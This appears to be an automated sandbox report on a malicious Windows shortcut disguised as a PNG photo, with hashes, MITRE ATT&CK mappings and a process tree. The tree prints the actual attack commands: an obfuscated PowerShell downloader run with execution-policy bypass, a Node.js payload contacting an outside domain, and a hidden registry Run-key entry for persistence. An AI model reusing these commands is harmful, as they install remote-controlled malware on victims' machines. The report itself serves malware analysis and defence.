e3180dc2f60b393cd64368d3091a2b161039b3165389d1135f0adc99952253d4

Analysis

max time kernel
300s
max time network
285s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 16:13

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General

Target
PHOTO-924373799.png.lnk
Size 2KB
Sample260719-tpjxtad16j
SHA256 e3180dc2f60b393cd64368d3091a2b161039b3165389d1135f0adc99952253d4
MD5 58dfca8516e4b9d01fbdac8cb715350a
SHA1 dd8a8af977d5512cc1c8bf0d707565e8a9eadd4f
SHA512 ee5199eb8f3629023b025e9154cc9496829d4a4b1ad772d04a5bd632f1e755c84b206647ed8918aae9e77e48e8539edc3f2efb2454fe535cea6f962331009e60
TLSH
T1BE41CC242BF14239F7B78F75D8BEA212A172B917DE219F5E01C4055845A2211E8A7F3E
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://nodejs.org/dist/v26.4.0/node-v26.4.0-win-x64.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	1432	powershell.exe
9	2556	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1432	powershell.exe
2556	powershell.exe
6128	powershell.exe
1908	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
2180	node.exe
1832	node.exe
4280	node.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2 = "\"C:\\Users\\Admin\\AppData\\Local\\Nodejs\\node-v26.4.0-win-x64\\node.exe\" -e \"require('child_process').spawn(process.execPath, ['C:\\\\Users\\\\Admin\\\\AppData\\\\Local\\\\Nodejs\\\\Ayx6UcqbrU2k.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\""	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3704	cmd.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1432	powershell.exe
1432	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
2556	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe
3396	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	2556	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	6128	powershell.exe
Token: SeDebugPrivilege	5920	powershell.exe
Token: SeDebugPrivilege	5880	powershell.exe
Token: SeDebugPrivilege	4252	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3704 wrote to memory of 1432	3704	cmd.exe	90
PID 1432 wrote to memory of 2556	1432	powershell.exe	91
PID 2556 wrote to memory of 240	2556	powershell.exe	92
PID 240 wrote to memory of 5244	240	csc.exe	93
PID 2556 wrote to memory of 2180	2556	powershell.exe	96
PID 2180 wrote to memory of 3396	2180	node.exe	98
PID 2180 wrote to memory of 1908	2180	node.exe	100
PID 2180 wrote to memory of 6128	2180	node.exe	102
PID 1832 wrote to memory of 4280	1832	node.exe	106
PID 4280 wrote to memory of 5920	4280	node.exe	107
PID 2180 wrote to memory of 5880	2180	node.exe	109
PID 2180 wrote to memory of 4252	2180	node.exe	111

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-924373799.png.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c "$KF460Xuu=[System.Numerics.BigInteger]\"1351858998573726449470155878929444862\";$zTsUBD=[System.Numerics.BigInteger]\"773436493846895853897077411237217928\";$oCH8sqv=$KF460Xuu - $zTsUBD;for($dug991=100+156;$oCH8sqv -ne 0;$oCH8sqv=$oCH8sqv / $dug991){$GCxDzi5n=[int]($oCH8sqv % $dug991);$N2CdFHA+=[System.Convert]::ToChar($GCxDzi5n);}; Invoke-WebRequest $N2CdFHA -OutFile $env:TEMP\L64pH.ps1 -UseBasicParsing; powershell -ep bypass -File $env:TEMP\L64pH.ps1"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -File C:\Users\Admin\AppData\Local\Temp\L64pH.ps1
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2556
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cruoiux4\cruoiux4.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:240
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4220.tmp" "c:\Users\Admin\AppData\Local\Temp\cruoiux4\CSC9954B7DB4CA6464C9ECBDBC6837F93CF.TMP"
        5⤵
        
        PID:5244
  - - C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
      "C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" C:\Users\Admin\AppData\Local\Nodejs\Ayx6UcqbrU2k.js vid-secure.info
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious use of WriteProcessMemory
      PID:2180
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3396
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\").\"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\""
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1908
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "$code = \"require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\Ayx6UcqbrU2k.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()\"; $command = \"\"\"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\"\" -e \"\"$code\"\"\"; Set-ItemProperty -Path \"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\" -Name \"24f2b9f2-7586-4623-9a9f-8f49ab2e2ba2\" -Value $command"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:6128
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\Cryptography\" -Name \"MachineGuid\").\"MachineGuid\""
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -c "(Get-ItemProperty -Path \"HKLM:\SOFTWARE\Microsoft\SQMClient\" -Name \"MachineId\").\"MachineId\""
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4252

C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe" -e "require('child_process').spawn(process.execPath, ['C:\\Users\\Admin\\AppData\\Local\\Nodejs\\Ayx6UcqbrU2k.js'], {detached: true, stdio: 'ignore', windowsHide: true}).unref()"
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe
  C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Nodejs\Ayx6UcqbrU2k.js
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -c "(Get-Process | Where-Object { $_.Path -eq \"C:\Users\Admin\AppData\Local\Nodejs\node-v26.4.0-win-x64\node.exe\" }).Count"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5920

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

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ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 848c5f4546807462a33f21b7f6d9f5700ba652460e91c5c065677eb58355bec0
MD5 d56deba64fc160586ed5903cdd309694
SHA1 9c366faf72a9e6d63a36bfb6cd152ed81f86919a
SHA512 a6497d07b45434b77a9ae4a37d1aae55c6d20cebf72493e6db5746abea9bfee5e78b96782caf20ecafc076b7e3bb895d0b3bc0ef0e56c6fab178bf1ecad9d416
SSDEEP 1536:iKLg07Yo2hk3MTfKQ1PflJdpHYLh4iUxpR40i71YigMJyPTOdB4V3CNBQkj2Ra5c:iKLg07Yo2hk3MTfKQ1PflJd9YLqiUpRf
TLSH
T1AD636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

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